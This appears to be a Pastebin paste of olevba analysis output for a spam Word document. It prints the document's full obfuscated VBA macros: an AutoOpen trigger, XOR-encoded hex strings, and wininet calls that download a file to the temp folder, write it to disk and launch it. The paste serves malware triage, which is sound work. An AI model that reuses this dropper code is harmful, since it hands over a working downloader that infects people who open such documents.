Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- olevba 0.25 - http://decalage.info/python/oletools
- Flags Filename
- ----------- -----------------------------------------------------------------
- OLE:MASIHB- spam.doc
- (Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)
- ===============================================================================
- FILE: spam.doc
- Type: OLE
- -------------------------------------------------------------------------------
- VBA MACRO ThisDocument.cls
- in file: spam.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Sub DANNIE(MARCELINO As Integer)
- NEWTON
- End Sub
- Sub autoopen()
- DANNIE (286)
- End Sub
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- +----------+----------+---------------------------------------+
- | Type | Keyword | Description |
- +----------+----------+---------------------------------------+
- | AutoExec | AutoOpen | Runs when the Word document is opened |
- +----------+----------+---------------------------------------+
- -------------------------------------------------------------------------------
- VBA MACRO AMOS.bas
- in file: spam.doc - OLE stream: u'Macros/VBA/AMOS'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- #If VBA7 And Win64 Then
- Public Declare PtrSafe Function DORIAN Lib "wininet.dll" Alias "InternetCloseHandle" (ByRef ERROL As LongPtr) As Long
- #End If
- Public Function IVORY(ByRef LAZARO As Object, ByRef HOMER As Object) As Boolean
- Dim NEWTONON As Long
- Set LAZARO = IGNACIO(LAURENCE)
- Dim ADOLFO
- Dim ALPHONSE As String
- ALPHONSE = MARCELO(4096, HORACIO, SHIRLEY)
- For NEWTONON = 6 To 8
- NEWTONON = NEWTONON * 55
- Next NEWTONON
- ADOLFO = LAZARO & ALPHONSE
- If VALENTIN(354, ADOLFO) Then
- End If
- IVORY = JAMEL(LAZARO, ALPHONSE, 213)
- End Function
- Public Function ANIBAL(FRANCES As String) As Double
- Dim DILLON As Double
- For DILLON = 13 To 19
- DILLON = DILLON * 4.5
- Next DILLON
- DILLON = Val(FRANCES)
- ANIBAL = DILLON
- End Function
- Public Function IGNACIO(ByRef NICHOLAS As Object) As Object
- Set IGNACIO = NICHOLAS.GetSpecialFolder(2)
- End Function
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- +------------+-------------+-------------------------+
- | Type | Keyword | Description |
- +------------+-------------+-------------------------+
- | Suspicious | Lib | May run code from a DLL |
- | IOC | wininet.dll | Executable file name |
- +------------+-------------+-------------------------+
- -------------------------------------------------------------------------------
- VBA MACRO CLAY.bas
- in file: spam.doc - OLE stream: u'Macros/VBA/CLAY'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- #If VBA7 And Win64 Then
- Public Declare PtrSafe Function ANDREA Lib "wininet.dll" Alias "InternetOpenA" (ByVal EMILE As String, ByVal MONROE As Long, ByVal DOMINIQUE As String, ByVal TRISTANO As String, ByVal BOOKER As Long) As LongPtr
- #End If
- Public Function NORDEWITTO(ByRef JEROLD As String, ByRef FRITZ As Long) As Double
- NORDEWITTO = ANIBAL("&H" & (ROSENDO(78, JEROLD, NAPOLEON(FRITZ), 2)))
- End Function
- Public Function NAPOLEON(ByRef FRITZ As Long) As Long
- NAPOLEON = (2 * FRITZ) - 1
- End Function
- Public Function RICHIE(CHRISTOPER As String, JEROLD As String) As String
- Dim TANNER As Integer
- Dim JARRED As Integer
- Dim JOSIAH As Double
- JOSIAH = 213
- If JOSIAH > JOSIAH * 3 Then End
- Dim FRITZ As Long
- Dim BRANT As String
- For FRITZ = 1 To (LEOPOLDO(JEROLD) / 2)
- TANNER = NORDEWITTO(JEROLD, FRITZ)
- JARRED = PRINCEE(CHRISTOPER, FRITZ)
- BRANT = BRANT + EDGARDO(TANNER, JARRED)
- Next FRITZ
- RICHIE = BRANT
- End Function
- Public Function MARCELO(AUGUSTUS As Long, HILARIO As String, ENRIQUE As String) As String
- AUGUSTUS = AUGUSTUS * 2
- MARCELO = RICHIE(HILARIO, ENRIQUE)
- End Function
- Public Sub NEWTON()
- Dim DEWITT As Double
- Dim JAMAAL As Double
- For JAMAAL = 36 To 39
- JAMAAL = JAMAAL + 21
- Next JAMAAL
- FREDERIC (2.81)
- End Sub
- Public Function ZACHARIAH(REINALDO As Double)
- Dim MARCELO As Object
- Dim JERROD As Long
- For JERROD = 17 To 21
- JERROD = JERROD + 33
- Next JERROD
- Dim WESTON As Object
- For JERROD = 11 To 21
- JERROD = JERROD + 64
- Next JERROD
- Set WESTON = LAURENCE
- JERROD = JERROD + 42
- Dim LEWIS As Boolean
- If JERROD > JERROD * 3 Then End
- LEWIS = IVORY(MARCELO, WESTON)
- REINALDO = REINALDO + 35
- End Function
- Public Function CAROL(MERLIN As String)
- Dim BRENTON As String
- BRENTON = "YONG"
- ZACHARIAH 21 + 3.21
- BRENTON = BRENTON + "FAUSTINO"
- End Function
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- +------------+----------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+----------------+-----------------------------------------+
- | Suspicious | Lib | May run code from a DLL |
- | Suspicious | Base64 Strings | Base64-encoded strings were detected, |
- | | | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | IOC | wininet.dll | Executable file name |
- +------------+----------------+-----------------------------------------+
- -------------------------------------------------------------------------------
- VBA MACRO ROLANDO.bas
- in file: spam.doc - OLE stream: u'Macros/VBA/ROLANDO'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Function LAURENCE() As Object
- Dim ISMAEL As String
- ISMAEL = RICHIE(HORACIO, PORFIRIO)
- Set LAURENCE = CreateObject(ISMAEL)
- End Function
- Public Function VALENTIN(WYATT As Long, ByVal MARQUIS As String) As Boolean
- #If VBA7 And Win64 Then
- Dim LANNY As LongPtr, EZRA As LongPtr
- #Else
- Dim LANNY As Long, EZRA As Long
- #End If
- Dim SYDNEY As Long
- Dim RUBIN As String * EFREN, EMILE As String
- Dim ARON As Integer, ELMO As Double
- LANNY = EFRAIN
- If LANNY = 0 Then
- Exit Function
- End If
- Dim KAREEM As Boolean
- If JAMAR(EZRA, LANNY) Then
- End If
- If EZRA = 0 Then
- ELMO = 0
- Else
- BORIS EZRA, RUBIN, EFREN, SYDNEY
- EMILE = RUBIN
- Dim GAIL As Long
- GAIL = 0
- GAIL = GAIL + 21
- If GAIL > GAIL + 44 Then End
- Do While SYDNEY <> 0
- BORIS EZRA, RUBIN, EFREN, SYDNEY
- EMILE = EMILE + Mid(RUBIN, 1, SYDNEY)
- Loop
- ELMO = LEOPOLDO(EMILE): _
- ARON = EVERETTE("JOSEF")
- Open MARQUIS _
- For Binary Access Write _
- Lock Write As #ARON
- Put #ARON, , EMILE
- GAIL = GAIL + 62
- If GAIL < 0 Then End
- Close #ARON
- End If
- DORIAN EZRA
- DORIAN LANNY
- EMILE = ""
- If ELMO Then
- VALENTIN = True
- End If
- End Function
- Public Function LEOPOLDO(JAYSON As String) As Long
- LEOPOLDO = Len(JAYSON)
- End Function
- Public Function EVERETTE(JAYSON As String) As Integer
- EVERETTE = FreeFile
- End Function
- Public Function PRINCEE(ByRef CHRISTOPER As String, ByRef FRITZ As Long) As Integer
- PRINCEE = Asc(ROSENDO(71, CHRISTOPER, ((FRITZ Mod LEOPOLDO(CHRISTOPER)) + 1), 1))
- End Function
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- +------------+--------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+--------------+-----------------------------------------+
- | Suspicious | CreateObject | May create an OLE object |
- | Suspicious | Open | May open a file |
- | Suspicious | Write | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Put | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Binary | May read or write a binary file (if |
- | | | combined with Open) |
- +------------+--------------+-----------------------------------------+
- -------------------------------------------------------------------------------
- VBA MACRO CORNELIUS.bas
- in file: spam.doc - OLE stream: u'Macros/VBA/CORNELIUS'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Option Explicit
- #If VBA7 And Win64 Then
- Public Declare PtrSafe Function BORIS Lib "wininet.dll" Alias "InternetReadFile" (ByVal WILFORD As LongPtr, ByVal RUBIN As String, ByVal SHELTON As Long, CARSON As Long) As Integer
- #End If
- Public Const BRICE = "1C202421296A05353C212C31533926272F"
- Public Const SHIRLEY = "13222E25242A776B7E63277C57352A"
- Public Const PRINCE = "273C353D7F6B6B282D3E363351253A3B243931373720202B36265D3F2E2F2463262B296A7A7F6A6B007A612D3928"
- Public Const PORFIRIO = "1C2B332435302D2B2B63033B5E281C31323920290B2726282626"
- Public Const HORACIO = "MOHAMEDDELMER2"
- Public Const EFREN = 4800
- Public Const ANTWAN As String = "CLAUDIO"
- Public Const ALDEN = 1
- Public Const MARGARITO = &H4000000
- Sub FREDERIC(ROSARIO As Double)
- CAROL ("JUDSON")
- End Sub
- Public Function EDGARDO(ByRef TANNER As Integer, ByRef JARRED As Integer) As String
- Dim CONNIE As Long
- CONNIE = TANNER Xor JARRED
- EDGARDO = Chr$(CONNIE)
- End Function
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- +------------+----------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+----------------+-----------------------------------------+
- | Suspicious | Lib | May run code from a DLL |
- | Suspicious | Chr | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | Xor | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | Hex Strings | Hex-encoded strings were detected, may |
- | | | be used to obfuscate strings (option |
- | | | --decode to see all) |
- | Suspicious | Base64 Strings | Base64-encoded strings were detected, |
- | | | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | IOC | wininet.dll | Executable file name |
- +------------+----------------+-----------------------------------------+
- -------------------------------------------------------------------------------
- VBA MACRO DEXTER.bas
- in file: spam.doc - OLE stream: u'Macros/VBA/DEXTER'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Const JASPER = "RUSSEL"
- #If VBA7 And Win64 Then
- Public Declare PtrSafe Function EUGENIO Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal MOHAMMED As LongPtr, ByVal SANDY As String, ByVal TRISTAN As String, ByVal BRIAN As Long, ByVal HOUSTON As Long, ByVal LINCOLN As Long) As LongPtr
- #Else
- Public Declare Function DORIAN Lib "wininet.dll" Alias "InternetCloseHandle" (ByRef ERROL As Long) As Long
- Public Declare Function ANDREA Lib "wininet.dll" Alias "InternetOpenA" (ByVal EMILE As String, ByVal MONROE As Long, ByVal DOMINIQUE As String, ByVal TRISTANO As String, ByVal BOOKER As Long) As Long
- Public Declare Function BORIS Lib "wininet.dll" Alias "InternetReadFile" (ByVal WILFORD As Long, ByVal RUBIN As String, ByVal SHELTON As Long, CARSON As Long) As Integer
- Public Declare Function EUGENIO Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal MOHAMMED As Long, ByVal SANDY As String, ByVal TRISTAN As String, ByVal BRIAN As Long, ByVal HOUSTON As Long, ByVal LINCOLN As Long) As Long
- #End If
- Public Function ROSENDO(SAMMY As Long, ByRef JAYSON As String, ByRef TANNER As Integer, ByRef JARRED As Integer) As String
- ROSENDO = Mid$(JAYSON, TANNER, JARRED)
- SAMMY = SAMMY + 31
- End Function
- #If VBA7 _
- And Win64 Then
- Public Function EFRAIN() As LongPtr
- #Else
- Public Function EFRAIN() As Long
- #End If
- EFRAIN = ANDREA(ANTWAN, ALDEN, vbNullString, vbNullString, 0)
- End Function
- Public Function JAMEL(ByRef LAZARO As Object, ByRef ALPHONSE As String, RANDELL As Double) As Boolean
- Set LENNY = CreateObject(RICHIE _
- (HORACIO, BRICE))
- Dim DUSTY As Integer
- DUSTY = LENNY.Open(LAZARO & ALPHONSE)
- End Function
- #If VBA7 And Win64 Then
- Public Function JAMAR(ByRef GRADY As LongPtr, NOAH As LongPtr) As Boolean
- #Else
- Public Function JAMAR(ByRef GRADY As Long, NOAH As Long) As Boolean
- #End If
- Dim JACQUES As Double
- Dim GUADALUPE As String
- Dim CLARK As Long
- GUADALUPE = MARCELO(893, HORACIO, PRINCE)
- For JACQUES = 14 To 15
- JACQUES = JACQUES + 5.5
- Next JACQUES
- GRADY = EUGENIO(NOAH, GUADALUPE, vbNullString, 0, MARGARITO, 0)
- JAMAR = True
- End Function
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- +------------+----------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+----------------+-----------------------------------------+
- | Suspicious | CreateObject | May create an OLE object |
- | Suspicious | Lib | May run code from a DLL |
- | Suspicious | Open | May open a file |
- | Suspicious | Base64 Strings | Base64-encoded strings were detected, |
- | | | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | IOC | wininet.dll | Executable file name |
- +------------+----------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement